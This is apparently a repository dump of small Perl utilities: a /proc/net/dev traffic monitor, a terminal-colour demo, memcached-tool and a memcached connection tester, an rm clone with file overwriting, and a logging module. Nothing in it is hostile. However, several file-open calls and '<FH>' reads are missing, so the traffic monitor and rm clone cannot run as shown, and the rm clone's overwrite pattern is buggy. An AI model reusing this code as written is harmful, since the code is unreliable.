THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 20 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 21 | # OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 22 | # ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 23 | # OTHER DEALINGS IN THE SOFTWARE. 24 | 25 | use strict; 26 | 27 | use Time::HiRes qw( gettimeofday ); 28 | 29 | select(STDOUT); $| = 1; # make unbuffered 30 | 31 | my $TIMEVAL_T = "LL"; 32 | 33 | my $delay; 34 | if ($#ARGV == 0) { 35 | $delay = int($ARGV[0]); 36 | if ($delay < 1) { 37 | $delay = 1; 38 | } 39 | } else { 40 | $delay = 1; 41 | } 42 | 43 | # read the /proc/net/dev headers 44 | open(PROC, "; 47 | if ($_ !~ m#^[^|]+\|\s*Receive\s*\|\s*Transmit\s*$#) { 48 | die "don't understand first line of /proc/net/dev"; 49 | } 50 | $_ = ; 51 | my ($r_fields, $t_fields) = m#^[^|]+\|([^|]+)\|([^|]+)$#; 52 | my @fields = map { "r_" . $_ } split(' ', $r_fields); 53 | push(@fields, map { "t_" . $_ } split(' ', $t_fields)); 54 | 55 | close(PROC); 56 | 57 | my %prev_stats; 58 | 59 | printf "%6s %10s %9s %10s %9s\n", "iface", "rx bytes/s", "rx pkt/s", "tx bytes/s", "tx pkt/s"; 60 | 61 | my $actual_delay; 62 | 63 | while (1) { 64 | open(PROC, "; 68 | $_ = ; 69 | 70 | my $non_zero_iface = 0; 71 | my %totals; 72 | $totals{'r_bytes'} = 0; 73 | $totals{'r_packets'} = 0; 74 | $totals{'t_bytes'} = 0; 75 | $totals{'t_packets'} = 0; 76 | 77 | while () { 78 | my ($iface, $rest) = m#^\s*(\S+):(.*)$#; 79 | my @data = split(' ', $rest); 80 | 81 | my %delta; 82 | my $non_zero_field = 0; 83 | 84 | foreach my $i (@fields) { 85 | if (!defined($prev_stats{$iface}{$i})) { 86 | $prev_stats{$iface}{$i} = 0; 87 | } 88 | my $x = shift @data; 89 | $delta{$i} = $x - $prev_stats{$iface}{$i}; 90 | if ($delta{$i} < 0) { 91 | # you have to encode 2**32 this way or perl 92 | # will truncate the constant to 32-bits 93 | $delta{$i} += 2*(1<<31); 94 | } 95 | if ($delta{$i} != 0) { 96 | $non_zero_field = 1; 97 | $non_zero_iface = 1; 98 | } 99 | $prev_stats{$iface}{$i} = $x; 100 | } 101 | 102 | next unless $non_zero_field; 103 | 104 | if (defined($actual_delay)) { 105 | $totals{'r_bytes'} += int($delta{'r_bytes'} / $actual_delay + 0.5); 106 | $totals{'r_packets'} += int($delta{'r_packets'} / $actual_delay + 0.5); 107 | $totals{'t_bytes'} += int($delta{'t_bytes'} / $actual_delay + 0.5); 108 | $totals{'t_packets'} += int($delta{'t_packets'} / $actual_delay + 0.5); 109 | 110 | printf "%6s %10u %9u %10u %9u", $iface, 111 | int($delta{'r_bytes'} / $actual_delay + 0.5), 112 | int($delta{'r_packets'} / $actual_delay + 0.5), 113 | int($delta{'t_bytes'} / $actual_delay + 0.5), 114 | int($delta{'t_packets'} / $actual_delay + 0.5); 115 | 116 | foreach my $i (@fields) { 117 | next if $i eq 'r_bytes'; 118 | next if $i eq 'r_packets'; 119 | next if $i eq 't_bytes'; 120 | next if $i eq 't_packets'; 121 | next if $delta{$i} == 0; 122 | print " $i $delta{$i}"; 123 | } 124 | 125 | print "\n"; 126 | } 127 | } 128 | close(PROC); 129 | 130 | if ($non_zero_iface == 0) { 131 | print "no traffic\n"; 132 | } 133 | elsif (defined($actual_delay)) { 134 | printf "%6s %10u %9u %10u %9u\n", "total", 135 | $totals{'r_bytes'}, 136 | $totals{'r_packets'}, 137 | $totals{'t_bytes'}, 138 | $totals{'t_packets'}; 139 | } 140 | 141 | my @start = gettimeofday; 142 | sleep($delay); 143 | my @done = gettimeofday; 144 | $actual_delay = ($done[0] + $done[1] / 1_000_000) - ($start[0] + $start[1] / 1_000_000); 145 | 146 | my $delta = $actual_delay - $delay; 147 | if ($delta > 0.2 or $delta < -0.2) { 148 | printf "asked for %d second sleep, got %f\n", $delay, $actual_delay; 149 | } 150 | } 151 | 152 | -------------------------------------------------------------------------------- /color.pl: -------------------------------------------------------------------------------- 1 | #http://perldoc.perl.org/Term/ANSIColor.html 2 | 3 | # terminal color tutorials 4 | 5 | use Term::ANSIColor; 6 | 7 | print color 'bold blue'; 8 | print "This text is bold blue.\n"; 9 | print color 'reset'; 10 | print "This text is normal.\n"; 11 | print colored ("Yellow on magenta.", 'yellow on_magenta'), "\n"; 12 | print "This text is normal.\n"; 13 | print colored ['yellow on_magenta'], 'Yellow on magenta.', "\n"; 14 | print colored ['red on_bright_yellow'], 'Red on bright yellow.', "\n"; 15 | print colored ['bright_red on_black'], 'Bright red on black.', "\n"; 16 | print "\n"; 17 | 18 | use Term::ANSIColor qw(uncolor); 19 | print uncolor ('01;31'), "\n"; 20 | use Term::ANSIColor qw(colorstrip); 21 | print colorstrip '\e[1mThis is bold\e[0m', "\n"; 22 | use Term::ANSIColor qw(colorvalid); 23 | my $valid = colorvalid ('blue bold', 'on_magenta'); 24 | print "Color string is ", $valid ? "valid\n" : "invalid\n"; 25 | 26 | use Term::ANSIColor qw(:constants); 27 | print BOLD, BLUE, "This text is in bold blue.\n", RESET; 28 | use Term::ANSIColor qw(:constants); 29 | { 30 | local $Term::ANSIColor::AUTORESET = 1; 31 | print BOLD BLUE "This text is in bold blue.\n"; 32 | print "This text is normal.\n"; 33 | } 34 | 35 | use Term::ANSIColor qw(:pushpop); 36 | 37 | print PUSHCOLOR RED ON_GREEN "This text is red on green.\n"; 38 | print PUSHCOLOR BRIGHT_BLUE "This text is bright blue on green.\n"; 39 | print RESET BRIGHT_BLUE "This text is just bright blue.\n"; 40 | print POPCOLOR "Back to red on green.\n"; 41 | print LOCALCOLOR GREEN ON_BLUE "This text is green on blue.\n"; 42 | print "This text is red on green.\n"; 43 | { 44 | local $Term::ANSIColor::AUTOLOCAL = 1; 45 | print ON_BLUE "This text is red on blue.\n"; 46 | print "This text is red on green.\n"; 47 | } 48 | print POPCOLOR "Back to whatever we started as.\n"; 49 | 50 | #\033[1;34m or \e[1;34m 51 | #Black 0;30 Dark Gray 1;30 52 | #Blue 0;34 Light Blue 1;34 53 | #Green 0;32 Light Green 1;32 54 | #Cyan 0;36 Light Cyan 1;36 55 | #Red 0;31 Light Red 1;31 56 | #Purple 0;35 Light Purple 1;35 57 | #Brown 0;33 Yellow 1;33 58 | #Light Gray 0;37 White 1;37 59 | # 60 | # -Ends the colour. 61 | # \033[0m 62 | # \x1b[0m 63 | # 64 | #- Position the Cursor: 65 | # \033[;H 66 | # Or 67 | # \033[;f 68 | # puts the cursor at line L and column C. 69 | #- Move the cursor up N lines: 70 | # \033[A 71 | #- Move the cursor down N lines: 72 | # \033[B 73 | #- Move the cursor forward N columns: 74 | # \033[C 75 | #- Move the cursor backward N columns: 76 | # \033[D 77 | # 78 | #- Clear the screen, move to (0,0): 79 | # \033[2J 80 | #- Erase to end of line: 81 | # \033[K 82 | # 83 | #- Save cursor position: 84 | # \033[s 85 | #- Restore cursor position: 86 | # \033[u 87 | 88 | ################################################################## 89 | #!/usr/bin/perl 90 | # Author: Todd Larason 91 | # $XFree86: xc/programs/xterm/vttests/256colors2.pl,v 1.1 1999/07/11 08:49:54 dawes Exp $ 92 | 93 | print "256 color mode\n\n"; 94 | 95 | # display back ground colors 96 | 97 | for ($fgbg = 38; $fgbg <= 48; $fgbg +=10) { 98 | 99 | # first the system ones: 100 | print "System colors:\n"; 101 | for ($color = 0; $color < 8; $color++) { 102 | print "\x1b[${fgbg};5;${color}m::"; 103 | } 104 | print "\x1b[0m\n"; 105 | for ($color = 8; $color < 16; $color++) { 106 | print "\x1b[${fgbg};5;${color}m::"; 107 | } 108 | print "\x1b[0m\n\n"; 109 | 110 | # now the color cube 111 | print "Color cube, 6x6x6:\n"; 112 | for ($green = 0; $green < 6; $green++) { 113 | for ($red = 0; $red < 6; $red++) { 114 | for ($blue = 0; $blue < 6; $blue++) { 115 | $color = 16 + ($red * 36) + ($green * 6) + $blue; 116 | print "\x1b[${fgbg};5;${color}m::"; 117 | } 118 | print "\x1b[0m "; 119 | } 120 | print "\n"; 121 | } 122 | 123 | # now the grayscale ramp 124 | print "Grayscale ramp:\n"; 125 | for ($color = 232; $color < 256; $color++) { 126 | print "\x1b[${fgbg};5;${color}m::"; 127 | } 128 | print "\x1b[0m\n\n"; 129 | 130 | } 131 | 132 | print "Examples for the 3-byte color mode\n\n"; 133 | 134 | for ($fgbg = 38; $fgbg <= 48; $fgbg +=10) { 135 | 136 | # now the color cube 137 | print "Color cube\n"; 138 | for ($green = 0; $green < 256; $green+=51) { 139 | for ($red = 0; $red < 256; $red+=51) { 140 | for ($blue = 0; $blue < 256; $blue+=51) { 141 | print "\x1b[${fgbg};2;${red};${green};${blue}m::"; 142 | } 143 | print "\x1b[0m "; 144 | } 145 | print "\n"; 146 | } 147 | 148 | # now the grayscale ramp 149 | print "Grayscale ramp:\n"; 150 | for ($gray = 8; $gray < 256; $gray+=10) { 151 | print "\x1b[${fgbg};2;${gray};${gray};${gray}m::"; 152 | } 153 | print "\x1b[0m\n\n"; 154 | 155 | } 156 | -------------------------------------------------------------------------------- /memcached-tool: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # memcached-tool: 4 | # stats/management tool for memcached. 5 | # 6 | # Author: 7 | # Brad Fitzpatrick 8 | # 9 | # License: 10 | # public domain. I give up all rights to this 11 | # tool. modify and copy at will. 12 | # 13 | 14 | use strict; 15 | use IO::Socket::INET; 16 | 17 | my $addr = shift; 18 | my $mode = shift || "display"; 19 | my ($from, $to); 20 | 21 | if ($mode eq "display") { 22 | undef $mode if @ARGV; 23 | } elsif ($mode eq "move") { 24 | $from = shift; 25 | $to = shift; 26 | undef $mode if $from < 6 || $from > 17; 27 | undef $mode if $to < 6 || $to > 17; 28 | print STDERR "ERROR: parameters out of range\n\n" unless $mode; 29 | } elsif ($mode eq 'dump') { 30 | ; 31 | } elsif ($mode eq 'stats') { 32 | ; 33 | } else { 34 | undef $mode; 35 | } 36 | 37 | undef $mode if @ARGV; 38 | 39 | die 40 | "Usage: memcached-tool [mode]\n 41 | memcached-tool 10.0.0.5:11211 display # shows slabs 42 | memcached-tool 10.0.0.5:11211 # same. (default is display) 43 | memcached-tool 10.0.0.5:11211 stats # shows general stats 44 | memcached-tool 10.0.0.5:11211 dump # dumps keys and values 45 | " unless $addr && $mode; 46 | 47 | 48 | my $sock; 49 | if ($addr =~ m:/:) { 50 | $sock = IO::Socket::UNIX->new( 51 | Peer => $addr, 52 | ); 53 | } 54 | else { 55 | $addr .= ':11211' unless $addr =~ /:\d+$/; 56 | 57 | $sock = IO::Socket::INET->new( 58 | PeerAddr => $addr, 59 | Proto => 'tcp', 60 | ); 61 | } 62 | die "Couldn't connect to $addr\n" unless $sock; 63 | 64 | if ($mode eq 'dump') { 65 | my %items; 66 | my $totalitems; 67 | 68 | print $sock "stats items\r\n"; 69 | 70 | while (<$sock>) { 71 | last if /^END/; 72 | if (/^STAT items:(\d*):number (\d*)/) { 73 | $items{$1} = $2; 74 | $totalitems += $2; 75 | } 76 | } 77 | print STDERR "Dumping memcache contents\n"; 78 | print STDERR " Number of buckets: " . scalar(keys(%items)) . "\n"; 79 | print STDERR " Number of items : $totalitems\n"; 80 | 81 | foreach my $bucket (sort(keys(%items))) { 82 | print STDERR "Dumping bucket $bucket - " . $items{$bucket} . " total items\n"; 83 | print $sock "stats cachedump $bucket $items{$bucket}\r\n"; 84 | my %keyexp; 85 | while (<$sock>) { 86 | last if /^END/; 87 | # return format looks like this 88 | # ITEM foo [6 b; 1176415152 s] 89 | if (/^ITEM (\S+) \[.* (\d+) s\]/) { 90 | $keyexp{$1} = $2; 91 | } 92 | } 93 | 94 | foreach my $k (keys(%keyexp)) { 95 | print $sock "get $k\r\n"; 96 | my $response = <$sock>; 97 | if ($response =~ /VALUE (\S+) (\d+) (\d+)/) { 98 | my $flags = $2; 99 | my $len = $3; 100 | my $val; 101 | read $sock, $val, $len; 102 | print "add $k $flags $keyexp{$k} $len\r\n$val\r\n"; 103 | # get the END 104 | $_ = <$sock>; 105 | $_ = <$sock>; 106 | } 107 | } 108 | } 109 | exit; 110 | } 111 | 112 | if ($mode eq 'stats') { 113 | my %items; 114 | 115 | print $sock "stats\r\n"; 116 | 117 | while (<$sock>) { 118 | last if /^END/; 119 | chomp; 120 | if (/^STAT\s+(\S*)\s+(.*)/) { 121 | $items{$1} = $2; 122 | } 123 | } 124 | printf ("#%-17s %5s %11s\n", $addr, "Field", "Value"); 125 | foreach my $name (sort(keys(%items))) { 126 | printf ("%24s %12s\n", $name, $items{$name}); 127 | 128 | } 129 | exit; 130 | } 131 | 132 | # display mode: 133 | 134 | my %items; # class -> { number, age, chunk_size, chunks_per_page, 135 | # total_pages, total_chunks, used_chunks, 136 | # free_chunks, free_chunks_end } 137 | 138 | print $sock "stats items\r\n"; 139 | my $max = 0; 140 | while (<$sock>) { 141 | last if /^END/; 142 | if (/^STAT items:(\d+):(\w+) (\d+)/) { 143 | $items{$1}{$2} = $3; 144 | $max = $1; 145 | } 146 | } 147 | 148 | print $sock "stats slabs\r\n"; 149 | while (<$sock>) { 150 | last if /^END/; 151 | if (/^STAT (\d+):(\w+) (\d+)/) { 152 | $items{$1}{$2} = $3; 153 | } 154 | } 155 | 156 | print " # Item_Size Max_age Pages Count Full? Evicted Evict_Time OOM\n"; 157 | foreach my $n (1..$max) { 158 | my $it = $items{$n}; 159 | next if (0 == $it->{total_pages}); 160 | my $size = $it->{chunk_size} < 1024 ? 161 | "$it->{chunk_size}B" : 162 | sprintf("%.1fK", $it->{chunk_size} / 1024.0); 163 | my $full = $it->{free_chunks_end} == 0 ? "yes" : " no"; 164 | printf("%3d %8s %9ds %7d %7d %7s %8d %8d %4d\n", 165 | $n, $size, $it->{age}, $it->{total_pages}, 166 | $it->{number}, $full, $it->{evicted}, 167 | $it->{evicted_time}, $it->{outofmemory}); 168 | } 169 | 170 | -------------------------------------------------------------------------------- /mc-conn-tester.pl: -------------------------------------------------------------------------------- 1 | #! /usr/bin/perl 2 | # Written by Dormando, Eric Bergen, and HaiXin Tie. 3 | # PUBLIC DOMAIN. 4 | # No guarantees it won't eat your cat. 5 | 6 | use warnings; 7 | use strict; 8 | 9 | use IO::Socket::INET; 10 | use Time::HiRes qw/time sleep/; 11 | use Getopt::Long qw(:config no_ignore_case); 12 | use List::Util qw(first max maxstr min minstr reduce shuffle sum); 13 | use Pod::Usage; 14 | 15 | use FindBin; 16 | 17 | my $server = '127.0.0.1'; 18 | my $port = '11211'; 19 | my $time = 0; 20 | my $timeout = 1; 21 | my $count = 0; 22 | my $emt = 0; 23 | my $help; 24 | my $script_start_time = time(); 25 | 26 | my $debug = 1; 27 | 28 | my $average_conn = 0; 29 | my $average_set = 0; 30 | my $average_get = 0; 31 | my $actual_count = 0; 32 | 33 | my $max_conn = 0; 34 | my $max_set = 0; 35 | my $max_get = 0; 36 | 37 | sub parse_params { 38 | my $sendHelp; 39 | 40 | if (! &Getopt::Long::GetOptions( 41 | 'server|s=s' => \$server, 42 | 'port|p=s' => \$port, 43 | 'time|t=s' => \$time, 44 | 'timeout|o=s' => \$timeout, 45 | 'count|c=s' => \$count, 46 | 'emt|e' => \$emt, 47 | 'help|h' => \$help 48 | )) 49 | { 50 | pod2usage(0); 51 | exit(1); 52 | } 53 | 54 | if ($count && $time) { 55 | print "Either count or time should be specified, not both."; 56 | $help = 1; 57 | } 58 | 59 | if (!$count && !$time) { 60 | # Make the default behavior closer to the old script 61 | $count = 100_000_000; 62 | } 63 | 64 | if ($help) { 65 | pod2usage(1); 66 | exit(1); 67 | } 68 | } 69 | 70 | sub keep_running 71 | { 72 | my ($run) = @_; 73 | 74 | if ($time && time() - $script_start_time > $time) 75 | { 76 | return 0; 77 | } elsif ($count && $run == $count) { 78 | return 0; 79 | } 80 | 81 | return 1; 82 | } 83 | 84 | sub human_output 85 | { 86 | printf "Average: (conn: %.8f) (set: %0.8f) (get: %.8f)\n", 87 | $average_conn, $average_set, $average_get; 88 | printf "Max: (conn: %.8f) (set: %0.8f) (get: %.8f)\n", 89 | $max_conn, $max_set, $max_get; 90 | print "Done\n"; 91 | } 92 | 93 | sub emt_output 94 | { 95 | $average_conn *= 1000; 96 | $average_set *= 1000; 97 | $average_get *= 1000; 98 | $max_conn *= 1000; 99 | $max_set *= 1000; 100 | $max_get *= 1000; 101 | 102 | # echo memcached_test_{average,max}_{get,set,con} 103 | printf "memcached_test_average_con=%.5f," . 104 | "memcached_test_average_set=%.5f," . 105 | "memcached_test_average_get=%.5f," . 106 | "memcached_test_max_con=%.5f," . 107 | "memcached_test_max_set=%.5f," . 108 | "memcached_test_max_get=%.5f\n", 109 | $average_conn, $average_set, $average_get, 110 | $max_conn, $max_set, $max_get; 111 | } 112 | 113 | 114 | parse_params(); 115 | 116 | 117 | $SIG{INT} = sub { 118 | printf "Averages: (conn: %.8f) (set: %0.8f) (get: %.8f)\n", 119 | $average_conn, $average_set, $average_get; 120 | exit; 121 | }; 122 | 123 | $|++; 124 | my $run = 0; 125 | while (keep_running($run)) { 126 | $run++; 127 | my $conn_time = 0; 128 | my $set_time = 0; 129 | my $get_time = 0; 130 | my $start = 0; 131 | eval { 132 | local $SIG{ALRM} = sub { die "alarm\n" }; 133 | alarm $timeout; 134 | $start = time(); 135 | my $sock = IO::Socket::INET->new(PeerAddr => "$server:$port", 136 | Timeout => $timeout + 1); 137 | die "$!\n" unless $sock; 138 | $conn_time = time(); 139 | 140 | my $len = length($run); 141 | for (1 .. 3) { 142 | print $sock "set foo 0 0 $len\r\n$run\r\n"; 143 | my $res = <$sock>; 144 | } 145 | $set_time = time(); 146 | for (1 .. 6) { 147 | print $sock "get foo\r\n"; 148 | my $val = <$sock>; 149 | } 150 | $get_time = time(); 151 | }; 152 | alarm 0; 153 | my $end_time = time(); 154 | 155 | # Note for this round. 156 | my $conn_elapsed = $conn_time ? ($conn_time - $start) : 0; 157 | my $set_elapsed = $set_time ? ($set_time - $conn_time) : 0; 158 | my $get_elapsed = $get_time ? ($get_time - $set_time) : 0; 159 | my $elapsed = $end_time - $start; 160 | if ($@) { 161 | if ($@ eq "alarm\n") { 162 | printf "Fail: (timeout: $timeout) (elapsed: %.8f) (conn: %.8f)" 163 | . " (set: %0.8f) (get: %.8f)\n", $elapsed, $conn_elapsed, 164 | $set_elapsed, $get_elapsed; 165 | } else { 166 | print "Failed for some other reason: $@ - looping\n"; 167 | } 168 | } elsif ($debug) { 169 | printf "loop: (timeout: $timeout) (elapsed: %.8f) (conn: %.8f)" 170 | . " (set: %0.8f) (get: %.8f)\n", $elapsed, $conn_elapsed, 171 | $set_elapsed, $get_elapsed; 172 | } 173 | 174 | # Sum up the averages. 175 | if ($conn_elapsed) { 176 | $average_conn += $conn_elapsed; 177 | 178 | if ($conn_elapsed > $max_conn) { 179 | $max_conn = $conn_elapsed; 180 | } 181 | } 182 | 183 | if ($set_elapsed) { 184 | $average_set += $set_elapsed; 185 | 186 | if ($set_elapsed > $max_set) { 187 | $max_set = $set_elapsed; 188 | } 189 | } 190 | 191 | if ($get_elapsed) { 192 | $average_get += $get_elapsed; 193 | 194 | if ($get_elapsed > $max_get) { 195 | $max_get = $get_elapsed; 196 | } 197 | 198 | } 199 | $actual_count++; 200 | 201 | # Sleep a short time inbetween. 202 | sleep 0.1; 203 | } 204 | 205 | # average calculation. 206 | if ($average_conn && $actual_count) { 207 | $average_conn /= $actual_count; 208 | } 209 | 210 | if ($average_set && $actual_count) { 211 | $average_set /= $actual_count; 212 | } 213 | 214 | if ($average_get && $actual_count) { 215 | $average_get /= $actual_count; 216 | } 217 | 218 | if ($emt) { 219 | emt_output(); 220 | } else { 221 | human_output(); 222 | } 223 | 224 | __END__ 225 | 226 | =head1 mc_conn_tester_pl - Report average and max get, set, and connection time to memcached. 227 | 228 | =head1 SYNOPSIS 229 | 230 | mc_conn_tester.pl [options] 231 | 232 | =head1 OPTIONS 233 | 234 | =over 8 235 | 236 | =item B<-s --server> hostname 237 | 238 | Connect to an alternate hostname. 239 | 240 | =item B<-p --port> port 241 | 242 | Connect to an alternate port. 243 | 244 | =item B<-t --time> time 245 | 246 | Collect statistics for time seconds. Only specify --time or --count. 247 | 248 | =item B<-c --count> count 249 | 250 | Collect statistics for count iterations. Only specify --count or --time. 251 | 252 | =item B<-o --timeout> seconds 253 | 254 | Amounht of time in seconds to consider the request timed out (default 1) 255 | 256 | =item B<-e --emt> 257 | 258 | Ouptut the restuls in a a csv format that can be used by EMT to log results. 259 | 260 | =item B<-h --help> 261 | 262 | This help. 263 | 264 | =cut 265 | -------------------------------------------------------------------------------- /rm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | ############################################################################# 3 | # A simple compatible version of rm( 1 ) written in Perl. 4 | ############################################################################# 5 | # 6 | # Copyright (c) Steve Kemp 1999, skx@tardis.ed.ac.uk 7 | # 8 | # To do:- 9 | # Currently the interactive and force options are not handled 10 | # totally correctly. According to the man pages for RM the 11 | # option placement matters, so a -f will override an _earlier_ 12 | # -i, etc. 13 | # 14 | # This program is free software; you can redistribute it and/or 15 | # modify it under the terms of the GNU General Public License 16 | # as published by the Free Software Foundation; either version 2 17 | # of the License, or (at your option) any later version. 18 | # 19 | # This program is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 22 | # GNU General Public License for more details. 23 | # 24 | # You should have received a copy of the GNU General Public License 25 | # along with this program; if not, write to the Free Software 26 | # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. 27 | # 28 | ############################################################################## 29 | 30 | # Packages we use. 31 | use strict; 32 | use Getopt::Std; 33 | 34 | # Command line arguments, and other variables. 35 | use vars qw( $opt_i $opt_f $opt_r $opt_R $opt_P ); 36 | my $arg = 0; 37 | 38 | # Get the options. 39 | &getOptions(); 40 | 41 | # 42 | # Process each file named on the command line. 43 | foreach $arg ( @ARGV ) 44 | { 45 | &processFile( $arg ); 46 | } 47 | 48 | # 49 | # Attempt to process each file / directory named on the command line. 50 | sub processFile() 51 | { 52 | my ( $fileName )= @_; 53 | 54 | # See if the file is a directory. 55 | if ( ( -d $fileName ) && ( $opt_r || $opt_R )) 56 | { 57 | # Remove a directory recursively. 58 | removeDirectory( $fileName ); 59 | } 60 | elsif ( ( -d $fileName ) && !( $opt_r || $opt_R ) && (!$opt_i )) 61 | { 62 | rmdir( $fileName ); 63 | } 64 | elsif( -f $fileName ) 65 | { 66 | removeFile( $fileName ); 67 | } 68 | } 69 | 70 | # 71 | # Recursively remove a directory 72 | sub removeDirectory( ) 73 | { 74 | my ( $dirName ) = @_; 75 | my ( $path ); 76 | 77 | unless (opendir(DIR, $dirName)) 78 | { 79 | warn "Can't open $dirName\n"; 80 | closedir(DIR); 81 | return; 82 | } 83 | 84 | foreach (readdir(DIR)) 85 | { 86 | next if $_ eq '.' || $_ eq '..'; 87 | $path = "$dirName/$_"; 88 | 89 | if (-d $path) 90 | { 91 | &removeDirectory($path); 92 | } 93 | elsif (-f _) 94 | { 95 | removeFile( $path ); 96 | } 97 | } 98 | closedir(DIR); 99 | 100 | rmdir( $dirName ); 101 | } 102 | 103 | # 104 | # Remove a file, asking for confirmation, etc, as 105 | # necessary 106 | sub removeFile( ) 107 | { 108 | my ( $fileName ) = @_; 109 | my $reply; 110 | 111 | # If its read only, and we're not forcing, and interactive prompt for deletion 112 | # 113 | if ( ( ! -w $fileName ) && ( !$opt_f ) && ( $opt_i )) 114 | { 115 | print "$fileName: Read-only ? "; 116 | $reply = ; 117 | if ( $reply =~ /^[Nn]/ ) 118 | { 119 | return; 120 | } 121 | } 122 | elsif ( $opt_i ) 123 | { 124 | print "$fileName: ? "; 125 | $reply = ; 126 | if ( $reply =~ /^[Nn]/ ) 127 | { 128 | return; 129 | } 130 | } 131 | 132 | # If we are forcing the delete first change the files mode to allow writes. 133 | if ( $opt_f ) 134 | { 135 | my ( $mode ) = "0777"; 136 | chmod $mode, $fileName; 137 | } 138 | 139 | # Overwrite the file with rubbish before deleting. 140 | if ( $opt_P ) 141 | { 142 | overWriteFile( $fileName ); 143 | } 144 | 145 | # Delete the file. 146 | unlink( $fileName ); 147 | } 148 | 149 | # 150 | # Overwrite the file specified, first with x00, the xFF, then x00 151 | sub overWriteFile( ) 152 | { 153 | my ( $fileName ) = @_; 154 | # Info returned from stat 155 | my ( $dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size ); 156 | # Text we print to the file to overwrite its contents 157 | my ( $text, $FILEHANDLE, $ff ); 158 | 159 | # We only want the size 160 | ( $dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size ) = stat $fileName; 161 | 162 | $ff = "\0xFF"; 163 | 164 | # Change mode if the file is readonly. 165 | if ( !-w $fileName ) 166 | { 167 | my ( $mode ) = "0777"; 168 | chmod $mode, $fileName; 169 | } 170 | 171 | ## First pass at overwrite 172 | if ( open (FILEHANDLE, ">$fileName" ) ) 173 | { 174 | $text = $ff x $size; 175 | print FILEHANDLE $text; 176 | close ( FILEHANDLE ); 177 | } 178 | 179 | ## Second pass at overwrite 180 | if ( open (FILEHANDLE, ">$fileName" ) ) 181 | { 182 | $text = "\0" x $size; 183 | print $text; 184 | print FILEHANDLE $text; 185 | close ( FILEHANDLE ); 186 | } 187 | 188 | ## Third pass at overwrite 189 | if ( open (FILEHANDLE, ">$fileName" ) ) 190 | { 191 | $text = $ff x $size; 192 | print FILEHANDLE $text; 193 | close ( FILEHANDLE ); 194 | } 195 | } 196 | 197 | # 198 | # Read the options from the command line. 199 | sub getOptions() 200 | { 201 | # Process options, if any. 202 | # Make sure defaults are set before returning! 203 | return unless @ARGV > 0; 204 | 205 | if ( !getopts( 'ifPrR' ) ) 206 | { 207 | showUsage(); 208 | } 209 | } 210 | 211 | # 212 | # Show the useage 213 | sub showUsage() 214 | { 215 | print << "E-O-F"; 216 | Usage: rm [-fiPrR] file ... 217 | The options are as follows: 218 | 219 | -f Attempt to remove the files without prompting for confirmation, re- 220 | gardless of the file's permissions. If the file does not exist, do 221 | not display a diagnostic message or modify the exit status to re- 222 | flect an error. The -f option overrides any previous -i options. 223 | 224 | -i Request confirmation before attempting to remove each file, regard- 225 | less of the file's permissions, or whether or not the standard in- 226 | put device is a terminal. The -i option overrides any previous -f 227 | options. 228 | 229 | -P Overwrite regular files before deleting them. Files are overwrit- 230 | ten three times, first with the byte pattern 0xff, then 0x00, and 231 | then 0xff again, before they are deleted. 232 | 233 | -R Attempt to remove the file hierarchy rooted in each file argument. 234 | The -R option implies the -d option. If the -i option is speci- 235 | fied, the user is prompted for confirmation before each directory's 236 | contents are processed (as well as before the attempt is made to 237 | remove the directory). If the user does not respond affirmatively, 238 | the file hierarchy rooted in that directory is skipped. 239 | 240 | The rm utility removes symbolic links, not the files referenced by the 241 | links. 242 | 243 | It is an error to attempt to remove the files ``.'' or ``..''. 244 | E-O-F 245 | exit; 246 | } 247 | -------------------------------------------------------------------------------- /LogMini.pm: -------------------------------------------------------------------------------- 1 | package LogMini; 2 | # 3 | # Author: soarpenguin 4 | # First release Mar.29 2014 5 | ################################################## 6 | # usage of LogMini.pm, add code like: 7 | # use lib "path"; #path is the file of LogMini.pm 8 | # use LogMini; 9 | # 10 | # LogMini log libirary for perl. 11 | ################################################## 12 | use strict; 13 | use warnings; 14 | use Term::ANSIColor qw//; 15 | use Data::Dumper; 16 | $| = 1; 17 | 18 | BEGIN { 19 | use Exporter(); 20 | use vars qw($VERSION @ISA @EXPORT @EXPORT_OK); 21 | $VERSION = 0.0.1; 22 | @ISA = qw(Exporter); 23 | @EXPORT = map { ("log_" . $_) } qw/crit critf warn warnf info infof debug debugf croak croakf/; 24 | push @EXPORT, 'ddf'; 25 | } 26 | 27 | sub __FUNC__ { (caller(0))[3] } 28 | 29 | #[2014.3.29 21:7:37][Trace][[Notice][main::usage()]][test.pl:13]teesssss 30 | our $PRINT = sub { 31 | my ( $time, $type, $message, $trace, $raw_message) = @_; 32 | warn "[$time][$type][$trace]$message\n"; 33 | }; 34 | 35 | our $DIE = sub { 36 | my ( $time, $type, $message, $trace, $raw_message) = @_; 37 | die "[$time][$type][$trace]$message\n"; 38 | }; 39 | 40 | our $DEFAULT_COLOR = { 41 | info => { 42 | text => 'green', 43 | }, 44 | debug => { 45 | text => 'red', 46 | background => 'white', 47 | }, 48 | 'warn' => { 49 | text => 'black', 50 | background => 'yellow', 51 | }, 52 | 'critical' => { 53 | text => 'black', 54 | background => 'red' 55 | }, 56 | 'error' => { 57 | text => 'red', 58 | background => 'black' 59 | } 60 | }; 61 | 62 | if ($ENV{LM_DEFAULT_COLOR}) { 63 | # LEVEL=FG;BG:LEVEL=FG;BG:... 64 | for my $level_color (split /:/, $ENV{LM_DEFAULT_COLOR}) { 65 | my($level, $color) = split /=/, $level_color, 2; 66 | my($fg, $bg) = split /;/, $color, 2; 67 | $LogMini::DEFAULT_COLOR->{$level} = { 68 | $fg ? (text => $fg) : (), 69 | $bg ? (background => $bg) : (), 70 | }; 71 | } 72 | } 73 | 74 | our $ENV_DEBUG = "LM_DEBUG"; 